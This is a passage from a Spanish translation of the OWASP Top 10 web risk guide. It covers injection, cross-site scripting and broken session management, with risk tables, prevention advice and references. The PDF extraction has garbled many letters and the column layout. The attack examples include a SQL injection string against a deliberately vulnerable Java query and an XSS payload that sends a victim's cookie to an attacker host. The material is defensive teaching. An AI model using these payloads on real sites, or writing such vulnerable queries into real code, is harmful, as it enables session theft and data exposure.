  a	
  una	
  aplicación	
  web	
  vulnerable.	
  Esto	
  permite	
  al	
  atacante	
  forzar	
  al	
  navegador	
  
  SiBos	
  Cruzados	
                  de	
  la	
  vicDma	
  para	
  generar	
  pedidos	
  que	
  la	
  aplicación	
  vulnerable	
  piensa	
  son	
  peDciones	
  legíDmas	
  
            (CSRF)	
                   provenientes	
  de	
  la	
  vicDma.	
  

                                     • 	
  Una	
  buena	
  seguridad	
  requiere	
  tener	
  definida	
  e	
  implementada	
  una	
  configuración	
  segura	
  para	
  la	
  
  A6	
  –	
  Defectuosa	
              aplicación,	
  marcos	
  de	
  trabajo,	
  servidor	
  de	
  aplicación,	
  servidor	
  web,	
  base	
  de	
  datos,	
  y	
  plataforma.	
  
  configuración	
  de	
                 Todas	
  estas	
  configuraciones	
  deben	
  ser	
  definidas,	
  implementadas,	
  y	
  mantenidas	
  ya	
  que	
  por	
  lo	
  
        seguridad	
                    general	
  no	
  son	
  seguras	
  por	
  defecto.	
  Esto	
  incluye	
  mantener	
  todo	
  el	
  soMware	
  actualizado,	
  incluidas	
  
                                       las	
  librerías	
  de	
  código	
  uDlizadas	
  por	
  la	
  aplicación.	
  

       A7	
  –	
                     • Muchas	
  aplicaciones	
  web	
  no	
  protegen	
  adecuadamente	
  los	
  datos	
  sensibles,	
  tales	
  como	
  tarjetas	
  de	
  
 Almacenamiento	
                      crédito,	
  NSSs,	
  y	
  credenciales	
  de	
  autenDcación	
  con	
  mecanismos	
  de	
  cifrado	
  o	
  hashing.	
  Atacantes	
  
   Criptográfico	
                      pueden	
  modificar	
  o	
  robar	
  tales	
  datos	
  protegidos	
  inadecuadamente	
  para	
  conducir	
  robos	
  de	
  
     Inseguro	
                        idenDdad,	
  fraudes	
  de	
  tarjeta	
  de	
  crédito	
  u	
  otros	
  crímenes.	
  


     A8	
  -­‐	
  Falla	
  de	
      • Muchas	
  aplicaciones	
  web	
  verifican	
  los	
  privilegios	
  de	
  acceso	
  a	
  URLs	
  antes	
  de	
  generar	
  enlaces	
  o	
  
                                       botones	
  protegidos.	
  Sin	
  embargo,	
  las	
  aplicaciones	
  necesitan	
  realizar	
  controles	
  similares	
  cada	
  vez	
  
    Restricción	
  de	
  
    Acceso	
  a	
  URL	
  
                                       que	
  estas	
  páginas	
  son	
  accedidas,	
  o	
  los	
  atacantes	
  podrán	
  falsificar	
  URLs	
  para	
  acceder	
  a	
  estas	
  
                                       páginas	
  igualmente.	
  


  A9	
  –	
  Protección	
   • Las	
  aplicaciones	
  frecuentemente	
  fallan	
  al	
  autenDcar,	
  cifrar,	
  y	
  proteger	
  la	
  confidencialidad	
  e	
  
 Insuficiente	
  en	
  la	
    integridad	
  de	
  tráfico	
  de	
  red	
  sensible.	
  Cuando	
  esto	
  ocurre,	
  es	
  debido	
  a	
  la	
  uDlización	
  de	
  	
  algoritmos	
  
capa	
  de	
  Transporte	
   débiles,	
  cerDficados	
  expirados,	
  inválidos,	
  o	
  sencillamente	
  no	
  uDlizados	
  correctamente.	
  

        A10	
  –	
                   • Las	
  aplicaciones	
  web	
  frecuentemente	
  redirigen	
  y	
  reenvían	
  a	
  los	
  usuarios	
  hacia	
  otras	
  páginas	
  o	
  siDos	
  web,	
  y	
  
   Redirecciones	
  y	
                uDlizan	
  datos	
  no	
  confiables	
  para	
  determinar	
  la	
  página	
  de	
  desDno.	
  Sin	
  una	
  validación	
  apropiada,	
  los	
  atacantes	
  
    Reenvíos	
  no	
                   pueden	
  redirigir	
  a	
  las	
  vícDmas	
  hacia	
  siDos	
  de	
  phishing	
  o	
  malware,	
  o	
  uDlizar	
  reenvíos	
  para	
  acceder	
  páginas	
  no	
  
                                       autorizadas.	
  	
  
     validados	
  
A1	
                                      Inyección	
  
                                                    	
  	
  	
  	
  Vectores	
                                    	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Deficiencias	
                                      	
  Impactos	
                            Impactos	
  en	
  
         Agentes	
  	
                              de	
  Ataque	
                                                                                   de	
  Seguridad	
                                           Técnicos	
                                 el	
  negocio	
  
       de	
  amenaza	
  

                                                     Explotación	
                                Prevalencia	
                                                       Detección	
                                  Impacto	
  
       __________	
                                                                                                                                                                                                                                      __________	
  
                                                        FACIL	
                                    COMUN	
                                                             MEDIA	
                                     SEVERO	
  
Considerar	
  cualquier	
                   El	
  atacante	
  envia	
  simples	
         Las	
  fallas	
  de	
  inyeccion	
  ocurren	
  cuando	
  una	
  aplicación	
                                  Una	
  falla	
  de	
  inyección	
          Considerar	
  el	
  valor	
  para	
  
persona	
  que	
  pueda	
                   cadenas	
  de	
  texto	
  que	
              envía	
  datos	
  no	
  confiables	
  a	
  un	
  interprete.	
  Las	
  fallas	
                                puede	
  resultar	
  en	
                  el	
  negocio	
  de	
  los	
  datos	
  
enviar	
  datos	
  no	
                     explotan	
  la	
  sintaxis	
  del	
          de	
  inyección	
  son	
  muy	
  prevalentes,	
  parDcularmente	
                                             perdida	
  o	
  corrupción	
  de	
         afectados	
  y	
  la	
  plataforma	
  
confiables	
  al	
  sistema,	
               interprete	
  atacado.	
  Casi	
             en	
  código	
  legado,	
  el	
  cual	
  es	
  frecuentemente	
                                               datos,	
  falta	
  de	
  integridad,	
     corriendo	
  el	
  interprete.	
  
incluyendo	
  usuarios	
                    cualquier	
  fuente	
  de	
  datos	
         encontrado	
  en	
  consultas	
  SQL,	
  LDAP,	
  XPath,	
                                                    o	
  negación	
  de	
  acceso.	
           Todos	
  los	
  datos	
  pueden	
  
externos,	
  internos	
  y	
                puede	
  ser	
  un	
  vector	
  de	
         comandos	
  de	
  SO,	
  argumentos	
  de	
  programa,	
  etc.	
  Las	
                                       Una	
  falla	
  de	
  inyección	
          ser	
  robados,	
  
administradores.	
                          inyeccion,	
  incluyendo	
                   fallas	
  de	
  inyección	
  son	
  fácil	
  de	
  descubrir	
  cuando	
  se	
                                puede	
  algunas	
  veces	
                modificados,	
  o	
  
                                            fuentes	
  internas.	
                       examina	
  el	
  código,	
  pero	
  mas	
  diwcil	
  a	
  través	
  de	
                                      llevar	
  a	
  la	
  toma	
  de	
          eliminados.	
  ¿Puede	
  su	
  
                                                                                         testeos.	
  Los	
  scanners	
  y	
  fuzzers	
  pueden	
  ayudar	
  a	
  los	
                                 posesión	
  completa	
  del	
              reputación	
  ser	
  dañada?	
  
                                                                                         atacantes	
  a	
  descubrir	
  estas	
  fallas.	
                                                             servidor.	
  



 ¿Soy	
  Vulnerable?	
                                                                                                                                     ¿Como	
  puedo	
  evitar	
  esto?	
  
 La	
  mejor	
  manera	
  de	
  saber	
  si	
  una	
  aplicación	
  es	
  vulnerable	
  a	
  inyección	
  es	
                                             Prevenir	
  la	
  inyección	
  requiere	
  mantener	
  los	
  datos	
  no	
  confiables	
  separados	
  de	
  
 verificar	
  que	
  todo	
  uso	
  de	
  los	
  interpretes	
  claramente	
  separe	
  datos	
  no	
                                                       comandos	
  y	
  consultas.	
  
 confiables	
  del	
  comando	
  o	
  consulta.	
  Para	
  llamados	
  SQL,	
  esto	
  significa	
  uDlizar	
  
 variables	
  parametrizadas	
  en	
  todas	
  las	
  declaraciones	
  preparadas	
  y	
                                                                   1.             La	
  opción	
  preferida	
  es	
  uDlizar	
  una	
  API	
  segura	
  que	
  evite	
  el	
  uso	
  del	
  
 procedimientos	
  almacenados,	
  como	
  asi	
  también	
  evitar	
  consultas	
  dinámicas.	
                                                                          interprete	
  completamente	
  o	
  provea	
  una	
  interface	
  parametrizada.	
  Sea	
  
                                                                                                                                                                          cuidadoso	
  con	
  APIs,	
  tales	
  como	
  procedimientos	
  almacenados,	
  que	
  son	
  
 Revisar	
  el	
  código	
  es	
  una	
  manera	
  fácil	
  y	
  efecDva	
  para	
  ver	
  si	
  la	
  aplicación	
  uDliza	
                                             parametrizados,	
  pero	
  que	
  aun	
  pueden	
  introducir	
  inyección	
  
 los	
  interpretes	
  de	
  manera	
  segura.	
  Las	
  herramientas	
  de	
  análisis	
  de	
  código	
                                                                 implícitamente.	
  
 pueden	
  ayudar	
  a	
  un	
  analista	
  de	
  seguridad	
  a	
  encontrar	
  la	
  uDlización	
  de	
  
 interpretes	
  y	
  rastrear	
  el	
  flujo	
  de	
  datos	
  en	
  la	
  aplicación.	
  Los	
  testeos	
  de	
                                            2.             Si	
  una	
  API	
  parametrizada	
  no	
  se	
  encuentra	
  disponible,	
  usted	
  debe	
  
 penetración	
  pueden	
  validar	
  estos	
  problemas	
  a	
  través	
  de	
  fallas	
  especialmente	
                                                                 cuidadosamente	
  escapar	
  los	
  caracteres	
  especiales	
  uDlizando	
  una	
  
 hechas	
  a	
  mano	
  que	
  confirman	
  la	
  vulnerabilidad.	
                                                                                                        sintaxis	
  de	
  escape	
  especial	
  para	
  dicho	
  interprete.	
  OWASP’s	
  ESAPI	
  posee	
  
                                                                                                                                                                          algunas	
  de	
  estas	
  ruDnas	
  de	
  escape.	
  
 Los	
  escaneos	
  dinámicos	
  automaDzados	
  ejercitados	
  en	
  la	
  aplicación	
  pueden	
  
 proveer	
  una	
  buena	
  comprensión	
  sobre	
  si	
  alguna	
  falla	
  de	
  inyección	
  existe.	
  Los	
                                           3.             Una	
  validación	
  posiDva	
  de	
  entradas	
  con	
  una	
  apropiada	
  canonicalización	
  
 escáneres	
  no	
  siempre	
  pueden	
  llegar	
  a	
  los	
  interpretes	
  y	
  Denen	
  dificultad	
  en	
                                                             es	
  también	
  recomendado,	
  pero	
  no	
  es	
  una	
  defensa	
  completa	
  ya	
  que	
  
 detectar	
  si	
  un	
  ataque	
  fue	
  exitoso.	
  Un	
  manejo	
  pobre	
  de	
  los	
  errores	
  hace	
  mas	
                                                      muchas	
  aplicaciones	
  requieren	
  caracteres	
  especiales	
  en	
  sus	
  entradas.	
  
                                                                                                                                                                          OWASP’s	
  ESAPI	
  Dene	
  una	
  librería	
  extensible	
  de	
  
 fácil	
  la	
  detección	
  de	
  fallas	
  de	
  inyección.	
  
                                                                                                                                                                          ruDnas	
  de	
  validacion	
  de	
  entradas.	
  




 Ejemplos	
  de	
  escenarios	
  de	
  ataque	
                                                                                                            Referencias	
  
 La	
  aplicación	
  uDliza	
  datos	
  no	
  confiables	
  en	
  la	
  construcción	
  de	
  la	
  siguiente	
                                             OWASP	
  
 consulta	
  vulnerable	
  SQL:	
  
                                                                                                                                                           • 	
  OWASP	
  SQL	
  InjecDon	
  PrevenDon	
  Cheat	
  Sheet	
  
 	
  	
  String	
  query	
  =	
  "SELECT	
  *	
  FROM	
  accounts	
  WHERE	
  
 	
  	
  custID='"	
  +	
  request.getParameter("id")	
  +"'";	
                                                                                           • 	
  OWASP	
  InjecDon	
  Flaws	
  ArDcle	
  

 El	
  atacante	
  modifica	
  el	
  parámetro	
  ‘id’	
  en	
  su	
  navegador	
  para	
  enviar:	
  '	
  or	
  '1'='1.	
                                  • 	
  ESAPI	
  Encoder	
  API	
  
 Esto	
  cambia	
  el	
  significado	
  de	
  la	
  consulta	
  devolviendo	
  todos	
  los	
  registros	
  de	
  la	
                                      • 	
  ESAPI	
  Input	
  ValidaDon	
  API	
  
 tabla	
  ACCOUNTS	
  en	
  lugar	
  de	
  solo	
  el	
  cliente	
  solicitado.	
  
                                                                                                                                                           • 	
  ASVS:	
  Output	
  Encoding/Escaping	
  Requirements	
  (V6)	
  
 	
  	
  hsp://example.com/app/accountView?id='	
  or	
  '1'='1	
  	
  
                                                                                                                                                           • 	
  OWASP	
  TesDng	
  Guide:	
  Chapter	
  on	
  SQL	
  InjecDon	
  TesDng	
  
 En	
  el	
  peor	
  caso,	
  el	
  atacante	
  uDliza	
  esta	
  vulnerabilidad	
  para	
  invocar	
  
 procedimientos	
  almacenados	
  especiales	
  en	
  la	
  base	
  de	
  datos	
  que	
  permiten	
  la	
                                                 • 	
  OWASP	
  Code	
  Review	
  Guide:	
  Chapter	
  on	
  SQL	
  InjecDon	
  
 toma	
  de	
  posesión	
  de	
  la	
  base	
  de	
  datos	
  y	
  posiblemente	
  también	
  al	
  servidor	
                                             • 	
  OWASP	
  Code	
  Review	
  Guide:	
  Command	
  InjecDon	
  
 que	
  aloja	
  la	
  misma.	
  
                                                                                                                                                           Externas	
  
                                                                                                                                                           • 	
  CWE	
  Entry	
  77	
  on	
  Command	
  InjecDon	
  
                                                                                                                                                           • 	
  CWE	
  Entry	
  89	
  on	
  SQL	
  InjecDon	
  
A2	
                                    Secuencia	
  de	
  Comandos	
  en	
  SiBos	
  Cruzados	
  (XSS)	
  
                                                  	
  	
  	
  	
  Vectores	
                                   	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Deficiencias	
                                         	
  Impactos	
                              Impactos	
  en	
  
         Agentes	
  	
                            de	
  Ataque	
                                                                                  de	
  Seguridad	
                                              Técnicos	
                                   el	
  negocio	
  
       de	
  amenaza	
  
                                                  Explotación	
                             Prevalencia	
                                                          Detección	
                                  Impacto	
  
       __________	
                                                                                                                                                                                                                                         __________	
  
                                                    MEDIA	
                                MUY	
  DIFUNDIDA	
                                                        FACIL	
                                   MODERADO	
  
Considerar	
  cualquier	
                 El	
  atacante	
  envía	
  simples	
          XSS	
  es	
  la	
  falla	
  de	
  seguridad	
  mas	
  prevalente	
  en	
                                       Los	
  atacantes	
  pueden	
                Considerar	
  el	
  valor	
  de	
  
persona	
  que	
  pueda	
                 cadenas	
  de	
  texto	
  que	
               aplicaciones	
  web.	
  Las	
  fallas	
  XSS	
  ocurren	
  cuando	
  una	
                                     ejecutar	
  secuencias	
  de	
              negocio	
  de	
  los	
  datos	
  
enviar	
  datos	
  no	
                   explotan	
  la	
  sintaxis	
  del	
           aplicación	
  incluye	
  datos	
  suministrados	
  por	
  el	
  usuario	
                                      comandos	
  en	
  el	
  
                                                                                                                                                                                                                                                   afectados	
  o	
  funciones	
  de	
  
confiables	
  al	
  sistema,	
             interprete	
  atacado.	
  Casi	
              en	
  una	
  pagina	
  enviada	
  al	
  navegador	
  sin	
  ser	
  el	
                                        navegador	
  de	
  una	
  
incluyendo	
  usuarios	
                  cualquier	
  fuente	
  de	
  datos	
          contenido	
  apropiadamente	
  validado	
  o	
  escapado.	
                                                    vicDma	
  para	
  secuestrar	
              la	
  aplicación.	
  
externos,	
  internos	
  y	
              puede	
  ser	
  un	
  vector	
  de	
          Existen	
  tres	
  Dpos	
  conocidos	
  de	
  fallas	
  XSS:	
  1)	
                                           las	
  sesiones	
  de	
  usuario,	
  
administradores.	
                        inyección,	
  incluyendo	
                    Almacenados,	
  2)	
  Reflejados,	
  and	
  3)	
                                                                destruir	
  siDos	
  web,	
                 También	
  considere	
  el	
  
                                          fuentes	
  internas	
  tales	
                XSS	
  basado	
  en	
  DOM.	
                                                                                  insertar	
  código	
  hosDl,	
              impacto	
  en	
  el	
  negocio	
  la	
  
                                          como	
  datos	
  de	
  la	
  base	
  de	
                                                                                                                    redirigir	
  usuarios,	
  instalar	
        exposición	
  pública	
  de	
  la	
  
                                          datos.	
                                      La	
  detección	
  de	
  la	
  mayoría	
  de	
  las	
  fallas	
  XSS	
  es	
                                   código	
  malicioso	
  en	
  el	
  
                                                                                        relaDvamente	
  fácil	
  a	
  través	
  de	
  pruebas	
  análisis	
  de	
                                                                                  vulnerabilidad.	
  
                                                                                                                                                                                                       navegador	
  de	
  la	
  vicDma,	
  
                                                                                        código.	
                                                                                                      etc.	
  

 ¿Soy	
  Vulnerable?	
                                                                                                                                  ¿Como	
  puedo	
  evitar	
  esto?	
  
 Es	
  necesario	
  asegurarse	
  que	
  todos	
  los	
  datos	
  de	
  entrada	
  suministrados	
  por	
  el	
                                         Prevenir	
  XSS	
  requiere	
  mantener	
  los	
  datos	
  no	
  confiables	
  separados	
  del	
  
 usuario	
  enviados	
  al	
  navegador	
  sean	
  seguros	
  (a	
  través	
  de	
  validación	
  de	
                                                  contenido	
  acDvo	
  del	
  navegador.	
  
 entradas),	
  y	
  que	
  las	
  entradas	
  de	
  usuario	
  sean	
  apropiadamente	
  escapadas	
  
 antes	
  de	
  que	
  sean	
  incluidas	
  en	
  la	
  pagina	
  de	
  salida.	
  Una	
  apropiada	
                                                   1.             La	
  opción	
  preferida	
  es	
  escapar	
  todos	
  los	
  datos	
  no	
  confiables	
  basados	
  en	
  
 codificación	
  de	
  salida	
  asegura	
  que	
  los	
  datos	
  de	
  entrada	
  sean	
  siempre	
  tratados	
                                                       el	
  contexto	
  HTML	
  (cuerpo,	
  atributo,	
  JavaScript,	
  CSS,	
  o	
  URL)	
  donde	
  los	
  
 como	
  texto	
  en	
  el	
  navegador,	
  en	
  lugar	
  de	
  contenido	
  acDvo	
  que	
  puede	
  ser	
                                                           mismos	
  serán	
  ubicados.	
  Los	
  desarrolladores	
  necesitan	
  incluir	
  esta	
  
                                                                                                                                                                       técnica	
  en	
  sus	
  aplicaciones	
  al	
  menos	
  que	
  el	
  marco	
  UI	
  lo	
  realice	
  por	
  ellos.	
  
 ejecutado.	
  
                                                                                                                                                                       Ver	
  la	
  Hoja	
  de	
  Trucos	
  de	
  Prevencion	
  XSS	
  para	
  mayor	
  información	
  sobre	
  
 Tanto	
  las	
  herramientas	
  estáDcas	
  como	
  dinámicas	
  pueden	
  encontrar	
  algunos	
                                                                     técnicas	
  de	
  escape	
  de	
  datos.	
  
 problemas	
  de	
  XSS	
  automáDcamente.	
  Sin	
  embargo,	
  cada	
  aplicación	
  construye	
  
 las	
  paginas	
  de	
  salida	
  diferentemente	
  y	
  uDliza	
  diferentes	
  interpretes	
  tales	
                                                2.             Una	
  validación	
  de	
  entradas	
  posiDva	
  o	
  “whitelist”	
  con	
  apropiada	
  
 como	
  JavaScript,	
  AcDveX,	
  Flash,	
  y	
  Silverlight,	
  lo	
  que	
  dificulta	
  la	
  detección	
                                                           canonicalización	
  y	
  decodificación	
  es	
  también	
  recomendable	
  ya	
  que	
  
                                                                                                                                                                       ayuda	
  a	
  proteger	
  contra	
  XSS,	
  pero	
  no	
  es	
  una	
  defensa	
  completa	
  ya	
  que	
  
 automáDca.	
  Por	
  lo	
  tanto,	
  una	
  cobertura	
  completa	
  requiere	
  una	
  combinación	
  
 de	
  revisión	
  manual	
  de	
  código	
  y	
  testeo	
  manual	
  de	
  penetración,	
  además	
  de	
                                                             muchas	
  aplicaciones	
  requieren	
  caracteres	
  especiales	
  en	
  sus	
  entradas.	
  
 cualquier	
  testeo	
  automáDco	
  en	
  uso.	
                                                                                                                      Tal	
  validación	
  debería,	
  tanto	
  como	
  sea	
  posible,	
  decodificar	
  cualquier	
  
                                                                                                                                                                       entrada	
  codificada,	
  y	
  luego	
  validar	
  la	
  longitud,	
  caracteres,	
  formato,	
  y	
  
 Tecnologías	
  Web	
  2.0,	
  tales	
  como	
  AJAX,	
  dificultan	
  la	
  detección	
  de	
  XSS	
  a	
  través	
                                                    cualquier	
  regla	
  de	
  negocio	
  en	
  dichos	
  datos	
  antes	
  de	
  aceptar	
  la	
  entrada.	
  
 de	
  herramientas	
  automaDzadas.	
  




 Ejemplos	
  de	
  escenarios	
  de	
  ataque	
                                                                                                         Referencias	
  
 La	
  aplicación	
  uDliza	
  datos	
  no	
  confiables	
  en	
  la	
  construcción	
  del	
  siguiente	
                                               OWASP	
  
 código	
  HTML	
  sin	
  validar	
  o	
  escapar	
  los	
  datos:	
  
                                                                                                                                                        • 	
  OWASP	
  XSS	
  PrevenDon	
  Cheat	
  Sheet	
  
 	
  	
  (String)	
  page	
  +=	
  "<input	
  name='creditcard'	
  type='TEXT‘	
  
 	
  	
  value='"	
  +	
  request.getParameter("CC")	
  +	
  "'>";	
                                                                                    • 	
  OWASP	
  Cross-­‐Site	
  ScripDng	
  ArDcle	
  

 El	
  atacante	
  modifica	
  el	
  parámetro	
  ‘CC’	
  en	
  el	
  navegador:	
                                                                       • 	
  ESAPI	
  Project	
  Home	
  Page	
  	
  

 	
  	
  '><script>document.locaBon=	
                                                                                                                  • 	
  ESAPI	
  Encoder	
  API	
  
 	
  	
  'hsp://www.asacker.com/cgi-­‐bin/cookie.cgi?	
                                                                                                 • 	
  ASVS:	
  Output	
  Encoding/Escaping	
  Requirements	
  (V6)	
  
 	
  	
  foo='+document.cookie</script>'.	
  
                                                                                                                                                        • 	
  ASVS:	
  Input	
  ValidaDon	
  Requirements	
  (V5)	
  
 Esto	
  causa	
  que	
  el	
  idenDficador	
  de	
  sesión	
  de	
  la	
  vicDma	
  sea	
  enviado	
  al	
  siDo	
  
 web	
  del	
  atacante,	
  permiDendo	
  al	
  atacante	
  secuestrar	
  la	
  sesión	
  actual	
  del	
                                               • 	
  TesDng	
  Guide:	
  1st	
  3	
  Chapters	
  on	
  Data	
  ValidaDon	
  TesDng	
  
 usuario.	
  Notar	
  que	
  los	
  atacantes	
  pueden	
  también	
  uDlizar	
  XSS	
  para	
  anular	
                                                • 	
  OWASP	
  Code	
  Review	
  Guide:	
  Chapter	
  on	
  XSS	
  Review	
  
 cualquier	
  defensa	
  CSRF	
  que	
  la	
  aplicación	
  pueda	
  uDlizar.	
  Ver	
  A5	
  para	
  
 información	
  sobre	
  CSRF.	
                                                                                                                        Externas	
  
                                                                                                                                                        • 	
  CWE	
  Entry	
  79	
  on	
  Cross-­‐Site	
  ScripDng	
  
                                                                                                                                                        • 	
  RSnake’s	
  XSS	
  AFack	
  Cheat	
  Sheet	
  
A3	
                                      Pérdida	
  de	
  AutenBcación	
  y	
  GesBón	
  de	
  Sesiones	
  
                                                    	
  	
  	
  	
  Vectores	
                                 	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Deficiencias	
                                	
  Impactos	
                             Impactos	
  en	
  
         Agentes	
  	
                              de	
  Ataque	
                                                                                de	
  Seguridad	
                                     Técnicos	
                                  el	
  negocio	
  
       de	
  amenaza	
  

                                                    Explotación	
                                Prevalencia	
                                                     Detección	
                            Impacto	
  
       __________	
                                                                                                                                                                                                                               __________	
  
                                                      MEDIA	
                                     COMUN	
                                                           MEDIA	
                               SEVERO	
  
Considerar	
  atacantes	
                   El	
  atacante	
  uDliza	
                   Los	
  desarrolladores	
  a	
  menudo	
  crean	
  esquemas	
                                         Estas	
  vulnerabilidades	
                 Considerar	
  el	
  valor	
  de	
  
anónimos	
  externos,	
                     filtraciones	
  o	
                           propios	
  de	
  autenDcación	
  o	
  gesDón	
  de	
  las	
  sesiones,	
                             podría	
  permiDr	
  que	
                  negocio	
  de	
  los	
  datos	
  
además	
  de	
  usuarios	
  con	
           vulnerabilidades	
  en	
  las	
              pero	
  conseguir	
  que	
  sean	
  correctos	
  es	
  complicado.	
                                 algunas	
  o	
  todas	
  las	
              afectados	
  o	
  funciones	
  de	
  
sus	
  propias	
  cuentas,	
  que	
         funciones	
  de	
                            Por	
  ello,	
  a	
  menudo	
  estos	
  esquemas	
  propios	
                                        cuentas	
  sean	
  atacadas.	
              la	
  aplicación.	
  
podrían	
  intentar	
  robar	
              autenDcación	
  o	
  gesDón	
                conDenen	
  vulnerabilidades	
  en	
  las	
  secciones	
  de	
  cierre	
                             Una	
  vez	
  el	
  ataque	
  resulte	
  
cuentas	
  de	
  otros.	
                   de	
  las	
  sesiones	
  (por	
              de	
  sesión,	
  gesDón	
  de	
  contraseñas,	
  Dempo	
  de	
                                       saDsfactorio,	
  el	
  atacante	
           También	
  considere	
  el	
  
Considerar	
  también	
  a	
                ejemplo	
  cuentas	
                         desconexión,	
  función	
  de	
  recordar	
  contraseña,	
                                           podría	
  realizar	
  cualquier	
           impacto	
  en	
  el	
  negocio	
  la	
  
trabajadores	
  que	
  quieran	
            expuestas,	
  contraseñas,	
                 pregunta	
  secreta,	
  actualización	
  de	
  cuenta,	
  etc.	
                                     acción	
  que	
  la	
  vícDma	
             exposición	
  pública	
  de	
  la	
  
enmascarar	
  sus	
  acciones.	
            idenDficadores	
  de	
  sesión)	
             Encontrar	
  estas	
  vulnerabilidades	
  puede	
  ser	
  diwcil	
  por	
                            pudiese.	
  Las	
  cuentas	
                vulnerabilidad.	
  
                                            para	
  hacerse	
  pasar	
  por	
            ser	
  única	
  cada	
  implementación.	
                                                            privilegiadas	
  son	
  los	
  
                                            usuarios.	
                                                                                                                                       objeDvos	
  prioritarios.	
  

 ¿Soy	
  Vulnerable?	
                                                                                                                                  ¿Como	
  puedo	
  evitar	
  esto?	
  
 Los	
  primeros	
  acDvos	
  a	
  proteger	
  son	
  las	
  credenciales	
  y	
  los	
  idenDficadores	
  de	
                                          La	
  recomendación	
  principal	
  para	
  una	
  organización	
  es	
  facilitar	
  a	
  los	
  
 sesión.	
                                                                                                                                              desarrolladores:	
  
                                                                                                                                                        1.  Un	
  único	
  conjunto	
  de	
  controles	
  de	
  autenBcación	
  fuerte	
  y	
  gesBón	
  de	
  
                                                                                                                                                                 sesiones.	
  Dichos	
  controles	
  deberán	
  conseguir:	
  
 1.           ¿Están	
  siempre	
  las	
  credenciales	
  protegidas	
  cuando	
  se	
  almacenan	
  
                                                                                                                                                                      a)  Reunir	
  todos	
  los	
  requisitos	
  de	
  gesDón	
  de	
  sesiones	
  y	
  
              uDlizando	
  un	
  hash	
  o	
  cifrado?	
  Consultar	
  el	
  punto	
  A7.	
  	
                                                                                autenDcación	
  definidos	
  en	
  el	
  
 2.           ¿Se	
  pueden	
  adivinar	
  o	
  sobrescribir	
  las	
  credenciales	
  a	
  través	
  de	
                                                                     ApplicaDon	
  Security	
  VerificaDon	
  Standard	
  (ASVS)	
  de	
  OWASP,	
  
              funciones	
  débiles	
  de	
  gesDón	
  de	
  la	
  cuenta	
  (por	
  ejemplo,	
  registro	
  de	
                                                               secciones	
  V2	
  (AutenDcación)	
  y	
  V3	
  (GesDón	
  de	
  sesiones).	
  
                                                                                                                                                                      b)  Tener	
  un	
  interfaz	
  simple	
  para	
  los	
  desarrolladores.	
  Considerar	
  
              usuarios,	
  cambiar	
  contraseñas,	
  recuperación	
  de	
  contraseñas,	
  
                                                                                                                                                                               ESAPI	
  AuthenDcator	
  y	
  las	
  APIs	
  de	
  usuario	
  como	
  buenos	
  
              idenDficadores	
  débiles	
  de	
  sesión)?	
                                                                                                                     ejemplos	
  a	
  emular,	
  uDlizar	
  o	
  sobre	
  los	
  que	
  parDr.	
  	
  
 3.           ¿Se	
  muestran	
  los	
  idenDficadores	
  de	
  sesión	
  en	
  la	
  dirección	
  URL?	
  (por	
                                        2.  Se	
  debe	
  hacer	
  especial	
  hincapié	
  en	
  evitar	
  vulnerabilidades	
  de	
  XSS	
  que	
  
              ejemplo,	
  re-­‐escritura	
  de	
  la	
  dirección)?	
                                                                                            podrían	
  ser	
  uDlizadas	
  para	
  robar	
  idenDficadores	
  de	
  sesión.	
  Consultar	
  el	
  
                                                                                                                                                                 apartado	
  A2.	
  	
  
 4.           ¿Son	
  los	
  idenDficadores	
  de	
  sesión	
  vulnerables	
  a	
  ataques	
  de	
  fijación	
  
              de	
  la	
  sesión?	
  	
  
 5.           ¿Caducan	
  las	
  sesiones	
  y	
  pueden	
  los	
  usuarios	
  cerrar	
  sus	
  sesiones?	
  

 6.           ¿Se	
  rotan	
  los	
  idenDficadores	
  de	
  sesiones	
  después	
  de	
  una	
  
              autenDcación	
  correcta?	
  
 7.           ¿Se	
  envían	
  las	
  contraseñas,	
  idenDficadores	
  de	
  sesión	
  y	
  otras	
  
              credenciales	
  únicamente	
  mediante	
  conexiones	
  TLS?	
  Consultar	
  la	
  
              sección	
  A9.	
  	
  
 Visitar	
  la	
  sección	
  de	
  requisitos	
  de	
  ASVS	
  V2	
  y	
  V3	
  para	
  más	
  detalles.	
  
                                                                                                                                                        Referencias	
  
 Ejemplos	
  de	
  escenarios	
  de	
  ataque	
  
 Escenario	
  #1:	
  Aplicación	
  de	
  reserva	
  de	
  vuelos	
  que	
  soporta	
  re-­‐escritura	
  de	
                                            OWASP	
  
 direcciones	
  URL	
  poniendo	
  los	
  idenDficadores	
  de	
  sesión	
  en	
  la	
  propia	
  dirección:	
                                           Para	
  un	
  mayor	
  conjunto	
  de	
  requisitos	
  y	
  problemas	
  que	
  evitar	
  en	
  esta	
  área,	
  
 hsp://example.com/sale/                                                                                                                                consultar	
  las	
  
 saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii	
  
                                                                                                                                                        secciones	
  de	
  requisitos	
  de	
  ASVS	
  para	
  AutenDcación	
  (V2)	
  y	
  GesDón	
  de	
  
 Un	
  usuario	
  autenDcado	
  en	
  el	
  siDo	
  quiere	
  mostrar	
  la	
  venta	
  a	
  sus	
  amigos.	
  Envía	
  
 por	
  correo	
  electrónico	
  el	
  enlace	
  anterior,	
  sin	
  ser	
  consciente	
  de	
  que	
  está	
                                           Sesiones	
  (V3).	
  
 proporcionando	
  su	
  idenDficador	
  de	
  sesión.	
  Cuando	
  sus	
  amigos	
  uDlicen	
  el	
  
 anterior	
  enlace	
  uDlizarán	
  su	
  sesión	
  y	
  su	
  tarjeta	
  de	
  crédito.	
  	
                                                          • 	
  OWASP	
  AuthenDcaDon	
  Cheat	
  Sheet	
  

 Escenario	
  #2:	
  No	
  se	
  establecen	
  correctamente	
  los	
  Dempos	
  de	
  desconexión	
  en	
                                              • 	
  ESAPI	
  AuthenDcator	
  API	
  
 la	
  aplicación.	
  Un	
  usuario	
  uDliza	
  un	
  ordenador	
  público	
  para	
  acceder	
  al	
  siDo.	
  En	
                                   • 	
  ESAPI	
  User	
  API	
  
 lugar	
  de	
  uDlizar	
  la	
  función	
  de	
  “Cerrar	
  sesión”,	
  cierra	
  la	
  pestaña	
  del	
  navegador	
  
 y	
  se	
  marcha.	
  Un	
  atacante	
  uDliza	
  el	
  mismo	
  navegador	
  al	
  cabo	
  de	
  una	
  hora,	
  y	
                                  • 	
  OWASP	
  Development	
  Guide:	
  Chapter	
  on	
  AuthenDcaDon	
  
 ese	
  navegador	
